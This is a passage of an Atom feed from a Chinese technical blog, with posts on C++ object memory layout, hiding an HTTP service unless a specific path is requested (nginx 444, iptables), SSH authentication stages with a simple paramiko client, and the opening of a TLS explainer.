    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 4 &amp;lt;&amp;lt; endl;  &amp;#x2F;&amp;#x2F;虚表指针的地址
    &amp;#x2F;&amp;#x2F;输出虚基类指针条目所指的内容
    for (int i = 0; i &amp;lt; 2; i++)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;

        cout &amp;lt;&amp;lt; *(int *)((int *)*((int *)(&amp;amp;d) + 4) + i);

        cout &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[5]
    cout &amp;lt;&amp;lt; &amp;quot;[5]B2::ib2=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 5);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址: &amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 5;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[6]
    cout &amp;lt;&amp;lt; &amp;quot;[6]D::id=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 6);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址: &amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 6;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[7]
    cout &amp;lt;&amp;lt; &amp;quot;[7]值=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 7);
    cout &amp;lt;&amp;lt; &amp;quot;\t\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 7;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;间接父类
    &amp;#x2F;&amp;#x2F;[8]
    cout &amp;lt;&amp;lt; &amp;quot;[8]B::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 8 &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;输出B::vptr中的虚函数
    for (int i = 0; i&amp;lt;2; ++i)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;
        Fun fun1 = (Fun)*((int *)*((int *)(&amp;amp;d) + 8) + i);
        fun1();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;d) + 8) + i) &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[9]
    cout &amp;lt;&amp;lt; &amp;quot;[9]B::id=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 9);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址: &amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) +9;
    cout &amp;lt;&amp;lt; endl;

    getchar();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-virtual-diamond-inheritance.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-yi-xie-wen-ti-jie-da&quot;&gt;7.一些问题解答&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-1-c-feng-zhuang-dai-lai-de-bu-ju-cheng-ben-shi-duo-da&quot;&gt;7.1.C++封装带来的布局成本是多大？&lt;&#x2F;h3&gt;
&lt;p&gt;在C语言中，“数据”和“处理数据的操作（函数）”是分开来声明的，也就是说，语言本身并没有支持“数据和函数”之间的关联性。  在C++中，我们通过类来将属性与操作绑定在一起，称为ADT，抽象&lt;strong&gt;数据结构&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;C语言中使用struct（结构体）来封装数据，使用函数来处理数据。举个例子，如果我们定义了一个struct Point3如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;typedef struct Point3
{
    float x;
    float y;
    float z;
} Point3;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了打印这个Point3d，我们可以定义一个函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;void Point3d_print(const Point3d *pd)
{
    printf(&amp;quot;(%f,%f,%f)&amp;quot;,pd-&amp;gt;x,pd-&amp;gt;y,pd_z);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而在C++中，我们更倾向于定义一个Point3d类，以ADT来实现上面的操作:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class Point3d
{
    public:
        point3d (float x = 0.0,float y = 0.0,float z = 0.0)
            : _x(x), _y(y), _z(z){}

        float x() const {return _x;}
        float y() const {return _y;}
        float z() const {return _z;}

    private:
        float _x;
        float _y;
        float _z;
}；

    inline ostream&amp;amp;
    operator&amp;lt;&amp;lt;(ostream &amp;amp;os, const Point3d &amp;amp;pt)
    {
        os&amp;lt;&amp;lt;&amp;quot;(&amp;quot;&amp;lt;&amp;lt;pr.x()&amp;lt;&amp;lt;&amp;quot;,&amp;quot;
            &amp;lt;&amp;lt;pt.y()&amp;lt;&amp;lt;&amp;quot;,&amp;quot;&amp;lt;&amp;lt;pt.z()&amp;lt;&amp;lt;&amp;quot;)&amp;quot;;
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看到这段代码，很多人第一个疑问可能是：加上了封装，布局成本增加了多少？答案是class Point3d并没有增加成本。学过了C++对象模型，我们知道，Point3d类对象的内存中，只有三个数据成员。&lt;&#x2F;p&gt;
&lt;p&gt;上面的类声明中，三个数据成员直接内含在每一个Point3d对象中，而成员函数虽然在类中声明，却不出现在类对象（object）之中，这些函数(non-inline)属于类而不属于类对象，只会为类产生唯一的函数实例。&lt;&#x2F;p&gt;
&lt;p&gt;所以，&lt;strong&gt;Point3d的封装并没有带来任何空间或执行期的效率影响&lt;&#x2F;strong&gt;。而在下面这种情况下，C++的封装额外成本才会显示出来：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;虚函数机制（virtual function） , 用以支持执行期绑定，实现多态。&lt;&#x2F;li&gt;
&lt;li&gt;虚基类 （virtual base class） ，虚继承关系产生虚基类，用于在多重继承下保证基类在子类中拥有唯一实例。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;不仅如此，Point3d类数据成员的内存布局与c语言的结构体Point3d&lt;strong&gt;成员内存布局是相同的&lt;&#x2F;strong&gt;。C++中处在同一个访问标识符（指public、private、protected）下的声明的数据成员，在内存中必定保证以其声明顺序出现。而处于不同访问标识符声明下的成员则无此规定。对于Point3类来说，它的三个数据成员都处于private下，在内存中一起声明顺序出现。我们可以做下实验：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;void TestPoint3Member(const Point3d&amp;amp; p)
{

    cout &amp;lt;&amp;lt; &amp;quot;推测_x的地址是：&amp;quot; &amp;lt;&amp;lt; (float *) (&amp;amp;p) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;推测_y的地址是：&amp;quot; &amp;lt;&amp;lt; (float *) (&amp;amp;p) + 1 &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;推测_z的地址是：&amp;quot; &amp;lt;&amp;lt; (float *) (&amp;amp;p) + 2 &amp;lt;&amp;lt; endl;

    cout &amp;lt;&amp;lt; &amp;quot;根据推测出的地址输出_x的值：&amp;quot; &amp;lt;&amp;lt; *((float *)(&amp;amp;p)) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;根据推测出的地址输出_y的值：&amp;quot; &amp;lt;&amp;lt; *((float *)(&amp;amp;p)+1) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;根据推测出的地址输出_z的值：&amp;quot; &amp;lt;&amp;lt; *((float *)(&amp;amp;p)+2) &amp;lt;&amp;lt; endl;

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    &amp;#x2F;&amp;#x2F;测试代码
    Point3d a(1,2,3);
    TestPoint3Member(a);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;point3d-member-address-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从结果可以看到，_x,_y,_z三个数据成员在内存中紧挨着。&lt;&#x2F;p&gt;
&lt;p&gt;总结一下：  &lt;strong&gt;不考虑虚函数与虚继承，当数据都在同一个访问标识符下，C++的类与C语言的结构体在对象大小和内存布局上是一致的，C++的封装并没有带来空间时间上的影响。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-2-xia-mian-zhe-ge-kong-lei-gou-cheng-de-ji-cheng-ceng-ci-zhong-mei-ge-lei-de-da-xiao-shi-duo-shao&quot;&gt;7.2.下面这个空类构成的继承层次中，每个类的大小是多少？&lt;&#x2F;h3&gt;
&lt;p&gt;今有类如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class B{};
class B1 :public virtual  B{};
class B2 :public virtual  B{};
class D : public B1, public B2{};

int main()
{
    B b;
    B1 b1;
    B2 b2;
    D d;
    cout &amp;lt;&amp;lt; &amp;quot;sizeof(b)=&amp;quot; &amp;lt;&amp;lt; sizeof(b)&amp;lt;&amp;lt;endl;
    cout &amp;lt;&amp;lt; &amp;quot;sizeof(b1)=&amp;quot; &amp;lt;&amp;lt; sizeof(b1) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;sizeof(b2)=&amp;quot; &amp;lt;&amp;lt; sizeof(b2) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;sizeof(d)=&amp;quot; &amp;lt;&amp;lt; sizeof(d) &amp;lt;&amp;lt; endl;
    getchar();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出结果是：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;empty-class-sizeof-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;解析：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;编译器为空类安插1字节的char，以使该类对象在内存得以配置一个地址。&lt;&#x2F;li&gt;
&lt;li&gt;b1虚继承于b，编译器为其安插一个4字节的虚基类表指针（32为机器），此时b1已不为空，编译器不再为其安插1字节的char（优化）。&lt;&#x2F;li&gt;
&lt;li&gt;b2同理。&lt;&#x2F;li&gt;
&lt;li&gt;d含有来自b1与b2两个父类的两个虚基类表指针。大小为8字节。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>有没有办法根据 path 隐藏 http 服务</title>
        <published>2024-07-28T00:00:00+00:00</published>
        <updated>2024-07-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/有没有办法根据-path-隐藏-http-服务/"/>
        <id>https://vercel.juzhong.asia/obsidian/有没有办法根据-path-隐藏-http-服务/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/有没有办法根据-path-隐藏-http-服务/">&lt;h1 id=&quot;you-mei-you-ban-fa-gen-ju-path-yin-cang-http-fu-wu&quot;&gt;有没有办法根据 path 隐藏 http 服务&lt;&#x2F;h1&gt;
&lt;p&gt;就是如果不通过指定 path 来访问 http 服务器，别人都无法判断这个端口是否有 http 服务 查了 caddy 和 nginx 的资料，都不知道能不能做出这种效果来&lt;&#x2F;p&gt;
&lt;p&gt;1、iptables url 过滤&lt;&#x2F;p&gt;
&lt;p&gt;2、用程序控制，发现 URL 不匹配的时候，直接把 tcp socket close 掉，或者直接 RESET 连接&lt;&#x2F;p&gt;
&lt;p&gt;3、nginx return 444&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Stops processing and returns the specified `code` to a client. The non-standard code 444 closes a connection without sending a response header.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;location &amp;#x2F; {
    return 444;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;4、非指定 path 代理到 mysql 上面？？&lt;&#x2F;p&gt;
&lt;p&gt;5、用 openresty 在获取到 sslname 之后直接拒掉一样&lt;&#x2F;p&gt;
&lt;p&gt;如果是 https 的话就做不到了，服务器要先完成 TLS 握手才能知道访问的 path，收到 Server Hello 就知道这是个 web 服务器了&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH登陆认证过程详解</title>
        <published>2024-07-23T00:00:00+00:00</published>
        <updated>2024-07-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/ssh登陆认证过程详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/ssh登陆认证过程详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/ssh登陆认证过程详解/">&lt;h1 id=&quot;sshdeng-lu-ren-zheng-guo-cheng-xiang-jie&quot;&gt;SSH登陆认证过程详解&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;介绍SSH的功能及特性，然后通过python实现简易SSH客户端，理解会话建立的过程&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;gong-neng&quot;&gt;功能&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;远程控制&lt;&#x2F;li&gt;
&lt;li&gt;为通信提供安全通道&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;ftp、pop和telnet在本质上都是不安全的，因为它们在网络上用明文传送口令和数据，且容易受到中间人攻击。SSH通过加密解决这些问题，其传输的数据是经过压缩的，可以加快传输的速度。SSH有很多功能，它既可以代替Telnet，又可以为FTP、PoP、甚至为PPP提供一个安全的”通道”。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;基于账号和口令&lt;&#x2F;li&gt;
&lt;li&gt;基于公钥和私钥（更为安全）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;deng-lu-ren-zheng-liu-cheng-xiang-xi&quot;&gt;登录认证流程详细&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;5ge-jie-duan&quot;&gt;5个阶段&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;1. 版本号协商阶段
2. 密钥和算法协商阶段
3. 认证阶段
4. 会话请求阶段
5. 会话交互阶段
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ban-ben-hao-xie-shang-jie-duan&quot;&gt;版本号协商阶段&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;服务端打开端口22，等待客户连接。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;客户端向服务端发起TCP连接，双方完成握手并建立连接；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;服务端向客户端发送第一个报文，包括版本标志字符串，格式为 “SSH - &amp;lt;主协议版本号&amp;gt;.&amp;lt;次协议版本号&amp;gt; - &amp;lt;软件版本号&amp;gt;”，协议版本号由主版本号和次版本号组成，软件版本号主要是为调试使用。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;客户端收到报文后，解析协议版本号，如果服务端的协议版本号比自己的低，且客户端能支持服务端的低版本，就使用服务端的协议号，否则使用自己的协议版本号。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;客户端回复服务端一个报文，包含了客户端决定使用的协议版本号。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;服务端比较客户端发过来的版本号，决定是否能同客户端交互。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果协商成功，就进入密钥和算法协商阶段。否则服务端断开TCP连接。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note： 版本号协商阶段报文都是采用明文方式传输的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;mi-yao-he-suan-fa-xie-shang-jie-duan&quot;&gt;密钥和算法协商阶段&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;服务端和客户端分别发送算法协商报文给对方，报文中包含自己支持的公钥算法列表、加密算法列表、消息验证码算法列表、压缩算法列表等。 服务端和客户端根据对方和自己支持的算法得出最终使用的算法。 服务端和客户端利用DH交换算法、主机密钥对等参数，生成会话密钥和会话ID。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;em&gt;s=server&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;服务端将 s公 发送给客户端。&lt;&#x2F;li&gt;
&lt;li&gt;服务端生成会话ID ，设为 id ，发送给客户端。&lt;&#x2F;li&gt;
&lt;li&gt;客户端生成会话密钥，设为 key ，并计算 res = id 异或 key。&lt;&#x2F;li&gt;
&lt;li&gt;客户端将 res 用 s公 进行加密，将结果发送给服务端。&lt;&#x2F;li&gt;
&lt;li&gt;服务端用 s密 进行解密，得到 res。&lt;&#x2F;li&gt;
&lt;li&gt;服务器计算 res 异或 id，得到 key。&lt;&#x2F;li&gt;
&lt;li&gt;至此服务端和客户端都知道了会话密钥和会话ID，以后的数据传输都使用会话密钥进行加密和解密。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;ren-zheng-jie-duan&quot;&gt;认证阶段&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ji-yu-zhang-hao-he-kou-ling-de-yan-zheng-fang-shi&quot;&gt;基于账号和口令的验证方式&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;客户端使用密钥和算法协商阶段生成的会话密钥加密账号、认证方法、口令，将结果发送给服务器。&lt;&#x2F;li&gt;
&lt;li&gt;服务端使用获得的会话密钥解密报文，得到账号和口令。&lt;&#x2F;li&gt;
&lt;li&gt;服务端对这个账号和口令进行判断，如果失败，向客户端发送认证失败报文，其中包含了可以再次认证的方法列表。&lt;&#x2F;li&gt;
&lt;li&gt;客户端从认证方法列表中选择一种方法进行再次认证。&lt;&#x2F;li&gt;
&lt;li&gt;这个过程反复进行，直到认证成功或者认证次数达到上限，服务端关闭本次TCP连接。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;ji-yu-gong-yao-he-si-yao-de-yan-zheng-fang-shi&quot;&gt;基于公钥和私钥的验证方式&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;使用ssh-keygen程序生成公钥 id_dsa.pub 和私钥 id_dsa，一般是在客户端上生成，然后把 id_dsa.pub 通过某种方式发送给服务端。&lt;&#x2F;li&gt;
&lt;li&gt;服务端放在将要远程登录过来的那个账号的公钥放在.ssh目录下面。&lt;&#x2F;li&gt;
&lt;li&gt;客户端使用密钥和算法协商阶段生成的会话密钥加密账号、认证方法、id_dsa.pub，将结果发送给服务端。&lt;&#x2F;li&gt;
&lt;li&gt;服务端使用会话密钥解密报文，得到账号、id_dsa.pub。 服务端在这个账号的目录的.ssh目录下找对应的公钥，如果没有找到，发送失败消息给客户端，如果找到，比较客户发送过来的这个公钥和找到的公钥，如果内容相同，服务端生成一个随机的字符串，简称“质询”，然后使用找到的公钥加密这个质询，然后使用会话密钥再次加密。&lt;&#x2F;li&gt;
&lt;li&gt;服务端把这个双重加密的数据发送给客户端。&lt;&#x2F;li&gt;
&lt;li&gt;客户端使用会话密钥解密报文，然后使用id_dsa再次解密数据，得到质询。&lt;&#x2F;li&gt;
&lt;li&gt;客户端使用会话密钥加密质询，发送给服务端。&lt;&#x2F;li&gt;
&lt;li&gt;服务端使用会话密钥解密报文，得到质询，判断是不是自己生成的那个质询，如果不相同，发送失败消息给客户端，如果相同，认证通过。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;hui-hua-qing-qiu-jie-duan&quot;&gt;会话请求阶段&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;服务器等待客户端的请求；&lt;&#x2F;li&gt;
&lt;li&gt;认证通过后，客户端向服务器发送会话请求；&lt;&#x2F;li&gt;
&lt;li&gt;服务器处理客户端的请求。请求被成功处理后， 服务器会向客户端回应 SSH_SMSG_SUCCESS包，SSH进入交互会话阶段；否则回应 SSH_SMSG_FAILURE包，表示服务器处理请求失败或者不能识别请求。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;jiao-hu-hui-hua-jie-duan&quot;&gt;交互会话阶段&lt;&#x2F;h3&gt;
&lt;p&gt;在这个模式下，数据被双向传送：&lt;&#x2F;p&gt;
&lt;p&gt;　　1. 客户端将要执行的命令加密后传给服务器;
　　2. 服务器接收到报文，解密后执行该命令,将执行的结果加密发还给客户端;
　　3. 客户端将接收到的结果解密后显示到终端上.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pythonshi-xian-jian-yi-sshke-hu-duan&quot;&gt;Python实现简易SSH客户端&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import paramiko

#功能：连接到linux的ssh服务器并执行一条命令
#认证方式使用帐号密码
def ssh_cmd(ip, user, passwd, command):
    #创建客户端对象
    client = paramiko.SSHClient()
    #保存目标服务器的SSH密钥
    client.set_missing_host_key_policy(&amp;#x27;&amp;#x2F;home&amp;#x2F;lukezp&amp;#x2F;.ssh&amp;#x2F;known_hosts&amp;#x27;)
    # 使用帐号密码方式认证
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        #执行命令
        ssh_session.exec_command(command)
        print(ssh_session.recv(1024))
    return

if __name__ == &amp;quot;__main__&amp;quot;:
  ssh_cmd(&amp;#x27;192.168.47.131&amp;#x27;, &amp;#x27;lukezp&amp;#x27;, &amp;#x27;lukezp&amp;#x27;, &amp;#x27;ls&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>TLS 详解</title>
        <published>2024-07-23T00:00:00+00:00</published>
        <updated>2024-07-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/tls-详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/tls-详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/tls-详解/">&lt;h1 id=&quot;tls-xiang-jie&quot;&gt;TLS 详解&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-tls-ding-yi&quot;&gt;1. TLS 定义&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;SSL&lt;&#x2F;strong&gt;(Secure Sockets Layer) 安全套接层，是一种安全协议，经历了 SSL 1.0、2.0、3.0 版本后发展成了标准安全协议 -&lt;strong&gt;TLS&lt;&#x2F;strong&gt;(Transport Layer Security) 传输层安全性协议。TLS 有 1.0 (RFC 2246)、1.1(RFC 4346)、1.2(RFC 5246)、1.3(RFC 8446) 版本。&lt;&#x2F;p&gt;
&lt;p&gt;TLS 在实现上分为 &lt;strong&gt;记录层&lt;&#x2F;strong&gt; 和&lt;strong&gt;握手层&lt;&#x2F;strong&gt; 两层，其中握手层又含四个子协议: 握手协议 (handshake protocol)、更改加密规范协议 (change cipher spec protocol)、应用数据协议 (application data protocol) 和警告协议 (alert protocol)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-protocol-layers.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-https-http-over-tls&quot;&gt;2. HTTPS = HTTP over TLS.&lt;&#x2F;h2&gt;
&lt;p&gt;只需配置浏览器和服务器相关设置开启 TLS，即可实现 HTTPS，TLS 高度解耦，可装可卸，与上层高级应用层协议相互协作又相互独立。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;https-over-tls-layers.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-jia-mi&quot;&gt;3. 加密&lt;&#x2F;h2&gt;
&lt;p&gt;TLS&#x2F;SSL 的功能实现主要依赖于三类基本算法：散列函数 Hash、对称加密和非对称加密，其利用非对称加密实现身份认证和密钥协商，对称加密算法采用协商的密钥对数据加密，基于散列函数验证信息的完整性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-symmetric-asymmetric-hash.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;TLS 的基本工作方式是，客户端使用非对称加密与服务器进行通信，实现身份验证并协商对称加密使用的密钥，然后对称加密算法采用协商密钥对信息以及信息摘要进行加密通信，不同的节点之间采用的对称密钥不同，从而可以保证信息只能通信双方获取。&lt;&#x2F;p&gt;
&lt;p&gt;例如，在 HTTPS 协议中，客户端发出请求，服务端会将公钥发给客户端，客户端验证过后生成一个密钥再用公钥加密后发送给服务端（非对称加密），双方会在 TLS 握手过程中生成一个协商密钥（对称密钥），成功后建立加密连接。通信过程中客户端将请求数据用协商密钥加密后发送，服务端也用协商密钥解密，响应也用相同的协商密钥。后续的通信使用对称加密是因为对称加解密快，而握手过程中非对称加密可以保证加密的有效性，但是过程复杂，计算量相对来说也大。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-ji-lu-ceng&quot;&gt;4. 记录层&lt;&#x2F;h2&gt;
&lt;p&gt;记录协议负责在传输连接上交换的所有底层消息，并且可以配置加密。每一条 TLS 记录以一个短标头开始。标头包含记录内容的类型 (或子协议)、协议版本和长度。原始消息经过分段 (或者合并)、压缩、添加认证码、加密转为 TLS 记录的数据部分。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-record-layer-structure.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fen-pian-fragmentation&quot;&gt;分片 (Fragmentation)&lt;&#x2F;h3&gt;
&lt;p&gt;记录层将信息块分割成携带 2^14 字节 (16KB) 或更小块的数据的 TLSPlaintext 记录。&lt;&#x2F;p&gt;
&lt;p&gt;记录协议传输由其他协议层提交给它的不透明数据缓冲区。如果缓冲区超过记录的长度限制（2^14），记录协议会将其切分成更小的片段。反过来也是可能的，属于同一个子协议的小缓冲区也可以组合成一个单独的记录。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;struct {
  uint8 major, minor;
} ProtocolVersion;

enum {
  change_cipher_spec(20),
  alert(21),
  handshake(22),
  application_data(23), (255)
} ContentType;

struct {
  ContentType type; &amp;#x2F;&amp;#x2F; 用于处理封闭片段的较高级协议
  ProtocolVersion version; &amp;#x2F;&amp;#x2F; 使用的安全协议版本
  uint16 length; &amp;#x2F;&amp;#x2F; TLSPlaintext.fragment 的长度（以字节为单位），不超过 2^14
  opaque fragment[TLSPlaintext.length]; &amp;#x2F;&amp;#x2F; 透明的应用数据，被视为独立的块，由类型字段指定的较高级协议处理
} TLSPlaintext;
